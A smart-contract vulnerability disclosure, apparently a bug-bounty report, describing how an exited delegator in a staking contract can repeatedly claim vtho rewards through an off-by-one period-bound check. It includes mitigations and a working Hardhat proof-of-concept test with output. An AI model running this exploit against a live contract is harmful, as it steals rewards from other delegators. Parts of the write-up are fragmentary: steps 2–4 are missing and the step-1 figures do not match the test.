#59919 [SC-High] Loss of funds - Delegators can claim rewards for periods where they had no stake
Summary
An NFT (tokenId) that has EXITED a delegation can still claim rewards for periods after its delegation ended. This is caused by an underconstrained check in _claimableDelegationPeriods combined with missing membership checks in _claimableRewardsForPeriod. The issue allows repeated overclaiming of rewards from other delegators for periods in which the attacker no longer had stake.
1
1. Delegate normally
When delegating, the contract sets:
(,,,uint32 completedPeriods)= $.protocolStakerContract.getValidationPeriodDetails(_validator);// e.g. completedPeriods = 13$.lastClaimedPeriod[_tokenId]= completedPeriods +1;// = 14_updatePeriodEffectiveStake($, _validator, _tokenId, completedPeriods +2,true);// => effective stake added starting from period 15
Therefore the claimable window becomes [15, 30] even though the delegation ended at 15. _claimableRewardsForPeriod then computes rewards for each of these periods.
5
5. Repeatable theft
The delegation mapping is not cleared upon requesting exit.
After overclaiming, the attacker can wait for new periods and call claimRewards again.
The same flawed logic computes a claimable window that includes post-exit periods, allowing repeated claims.
Root cause
Two logic issues combine to enable the exploit:
Off-by-one / underconstrained check in _claimableDelegationPeriods:
Because it uses strict > rather than >=, if endPeriod == nextClaimablePeriod the clause is bypassed, and the function can return a lastClaimablePeriod larger than endPeriod.
Missing delegation membership check in _claimableRewardsForPeriod:
The function assumes if delegatorsEffectiveStake > 0 then the token is part of it.
It never checks whether _period lies in the delegation's [startPeriod, endPeriod].
After exit, the aggregator removed the token from delegatorsEffectiveStake for future periods, but effectiveStake for the token is still used in the numerator — enabling a share of rewards for periods it was not part of.
Combined, these issues let an exited delegator claim rewards for periods they were not staked.
Impact
Direct theft of funds (vtho) from rewards pools intended for currently-staked delegators.
Theft of unclaimed royalties / yield.
The attack is repeatable; an exited delegator can repeatedly overclaim as new periods pass.
Losses redistribute from honest delegators of the same validator to the attacker.
This is a high-severity, repeatable exploit that allows a delegator to claim rewards for periods after they have exited — effectively stealing rewards from other delegators.
Recommended mitigation
Revisit reward accounting around exited delegations.
Tighten _claimableDelegationPeriods checks so that when endPeriod == nextClaimablePeriod the returned last claimable period never exceeds endPeriod (e.g., use >= where appropriate or otherwise ensure correct bounds).
In _claimableRewardsForPeriod, ensure the token is actually a member of the delegators pool for the given period (i.e., verify the period is within [startPeriod, endPeriod] for that delegation) before using its effectiveStake in reward calculations.
Consider clearing or invalidating delegation mapping or effective stake for tokenIds upon exit in a way that prevents reusing stale effectiveStake values for future periods.
Proof of Concept
Test PoC (Rewards.test.ts)
Test output (truncated):
As shown, the user repeatedly claims rewards for periods after exit.
it.only("should overclaim rewards after delegation exit due to off-by-one period bounds", async () => {
const levelSpec = await stargateNFTMock.getLevel(LEVEL_ID);
// User1 stakes & delegates tokenId1
tx = await stargateContract.connect(user).stake(LEVEL_ID, {
value: levelSpec.vetAmountRequiredToStake,
});
await tx.wait();
const tokenId1 = await stargateNFTMock.getCurrentTokenId();
console.log("User1 staked tokenId1:", tokenId1);
tx = await stargateContract.connect(user).delegate(tokenId1, validator.address);
await tx.wait();
console.log("User1 delegated tokenId1 to validator", validator.address);
// User2 stakes & delegates tokenId2 to same validator
// This keeps delegatorsEffectiveStake > 0 even after user1 exits.
tx = await stargateContract.connect(otherUser).stake(LEVEL_ID, {
value: levelSpec.vetAmountRequiredToStake,
});
await tx.wait();
const tokenId2 = await stargateNFTMock.getCurrentTokenId();
console.log("User2 staked tokenId2:", tokenId2);
tx = await stargateContract.connect(otherUser).delegate(tokenId2, validator.address);
await tx.wait();
console.log("User2 delegated tokenId2 to validator", validator.address);
expect(await stargateContract.getDelegationStatus(tokenId1)).to.equal(DELEGATION_STATUS_PENDING);
expect(await stargateContract.getDelegationStatus(tokenId2)).to.equal(DELEGATION_STATUS_PENDING);
// Fast-forward so both delegations are ACTIVE and there are completed periods
let currentPeriod = 5;
tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, currentPeriod - 1);
await tx.wait();
console.log("Set validator completed periods to", currentPeriod - 1);
expect(await stargateContract.getDelegationStatus(tokenId1)).to.equal(DELEGATION_STATUS_ACTIVE);
expect(await stargateContract.getDelegationStatus(tokenId2)).to.equal(DELEGATION_STATUS_ACTIVE);
// FIRST CLAIM while delegation is ACTIVE (before exit)
// This should claim rewards from startPeriod up to completedPeriods (4),
// leaving period 5 as the only remaining legitimate period.
const preClaimBalanceUser = await vthoTokenContract.balanceOf(user.address);
const firstClaimable = await stargateContract["claimableRewards(uint256)"](tokenId1);
console.log("First claimable rewards (before exit):", firstClaimable);
expect(firstClaimable).to.be.gt(0n);
tx = await stargateContract.connect(user).claimRewards(tokenId1);
const receipt1 = await tx.wait();
console.log("User performed first claim, tx hash:", receipt1?.hash);
const postFirstClaimBalance = await vthoTokenContract.balanceOf(user.address);
expect(postFirstClaimBalance - preClaimBalanceUser).to.equal(firstClaimable);
const claimableAfterFirst = await stargateContract["claimableRewards(uint256)"](tokenId1);
console.log("Claimable rewards immediately after first claim:", claimableAfterFirst);
expect(claimableAfterFirst).to.equal(0n);
// At this point, the state for User1 looks like this:
// - startPeriod = 2
// - lastClaimedPeriod = 4
// - nextClaimablePeriod = 5
// Request exit in current active period (currentPeriod = 5) so that endPeriod == currentPeriod = 5
tx = await stargateContract.connect(user).requestDelegationExit(tokenId1);
await tx.wait();
console.log("-------------------------------------------");
console.log("User requested delegation exit for tokenId1");
// Still ACTIVE in current period immediately after request
expect(await stargateContract.getDelegationStatus(tokenId1)).to.equal(DELEGATION_STATUS_ACTIVE);
// Advance periods far beyond endPeriod so completedPeriods > endPeriod
currentPeriod = 15;
tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, currentPeriod - 1);
await tx.wait();
console.log("Set validator completed periods to", currentPeriod - 1);
// Now delegation for tokenId1 should be EXITED
expect(await stargateContract.getDelegationStatus(tokenId1)).to.equal(DELEGATION_STATUS_EXITED);
// Fetch underlying delegation period details from ProtocolStakerMock
const delegationId1 = await stargateContract.getDelegationIdOfToken(tokenId1);
const [startPeriod, endPeriod] = await protocolStakerMock.getDelegationPeriodDetails(delegationId1);
console.log("Delegation periods for tokenId1 -> start:", startPeriod, "end:", endPeriod);
// Ask Stargate for claimable delegation periods AFTER exit
const [firstClaimablePeriod, lastClaimablePeriod] = await stargateContract.claimableDelegationPeriods(tokenId1);
console.log("Stargate claimable periods AFTER exit -> first:", firstClaimablePeriod, "last:", lastClaimablePeriod);
// Intended invariant:
// lastClaimablePeriod <= endPeriod
//
// Actual (BUG):
// endPeriod == nextClaimablePeriod
// strict `endPeriod > nextClaimablePeriod` check fails
// fallback branch returns (nextClaimablePeriod, completedPeriods)
//
// So we get:
// firstClaimablePeriod == endPeriod
// lastClaimablePeriod == completedPeriods (>> endPeriod)
expect(firstClaimablePeriod).to.equal(endPeriod);
expect(lastClaimablePeriod).to.be.gt(endPeriod); // window extends beyond delegation end
// PROVE that this inflated period window leads to overclaiming rewards
const secondClaimable = await stargateContract["claimableRewards(uint256)"](tokenId1);
console.log("Second claimable rewards AFTER exit:", secondClaimable);
expect(secondClaimable).to.be.gt(REWARDS_PER_PERIOD);
const balanceBeforeSecondClaim = await vthoTokenContract.balanceOf(user.address);
tx = await stargateContract.connect(user).claimRewards(tokenId1);
const receipt2 = await tx.wait();
console.log("User1 performed second claim, tx hash:", receipt2?.hash);
const balanceAfterSecondClaim = await vthoTokenContract.balanceOf(user.address);
const actuallyClaimedSecond = balanceAfterSecondClaim - balanceBeforeSecondClaim;
console.log("Actually claimed in second claim:", actuallyClaimedSecond);
expect(actuallyClaimedSecond).to.equal(secondClaimable);
expect(actuallyClaimedSecond).to.be.gt(REWARDS_PER_PERIOD);
//the issue can keep repeating indefinitely
console.log("------------------------------------");
currentPeriod = 25;
tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, currentPeriod - 1);
await tx.wait();
console.log("Set validator completed periods to", currentPeriod - 1);
const delegationId2 = await stargateContract.getDelegationIdOfToken(tokenId1);
const [startPeriod2, endPeriod2] = await protocolStakerMock.getDelegationPeriodDetails(delegationId2);
console.log("Delegation periods for tokenId1 -> start:", startPeriod2, "end:", endPeriod2);
const [firstClaimablePeriod2, lastClaimablePeriod2] = await stargateContract.claimableDelegationPeriods(tokenId1);
console.log("Stargate claimable periods AFTER exit -> second:", firstClaimablePeriod2, "last:", lastClaimablePeriod2);
const balanceBeforeThirdClaim = await vthoTokenContract.balanceOf(user.address);
tx = await stargateContract.connect(user).claimRewards(tokenId1);
const receipt3 = await tx.wait();
console.log("User1 performed third claim, tx hash:", receipt3?.hash);
const balanceAfterThirdClaim = await vthoTokenContract.balanceOf(user.address);
const actuallyClaimedThird = balanceAfterThirdClaim - balanceBeforeThirdClaim;
console.log("Actually claimed in third claim:", actuallyClaimedThird);
});
shard-u4: Stargate: Rewards
User1 staked tokenId1: 10001n
User1 delegated tokenId1 to validator 0x90F79bf6EB2c4f870365E785982E1f101E93b906
User2 staked tokenId2: 10002n
User2 delegated tokenId2 to validator 0x90F79bf6EB2c4f870365E785982E1f101E93b906
Set validator completed periods to 4
First claimable rewards (before exit): 150000000000000000n
User performed first claim, tx hash: 0x9dc2fa13...
Claimable rewards immediately after first claim: 0n
-------------------------------------------
User requested delegation exit for tokenId1
Set validator completed periods to 14
Delegation periods for tokenId1 -> start: 2n end: 5n
Stargate claimable periods AFTER exit -> first: 5n last: 14n
Second claimable rewards AFTER exit: 750000000000000000n
User1 performed second claim, tx hash: 0x93d4d4c7...
Actually claimed in second claim: 750000000000000000n
------------------------------------
Set validator completed periods to 24
Delegation periods for tokenId1 -> start: 2n end: 5n
Stargate claimable periods AFTER exit -> second: 13n last: 24n
User1 performed third claim, tx hash: 0xb9c5b1da...
Actually claimed in third claim: 800000000000000000n
✔ should overclaim rewards after delegation exit due to off-by-one period bounds (186ms)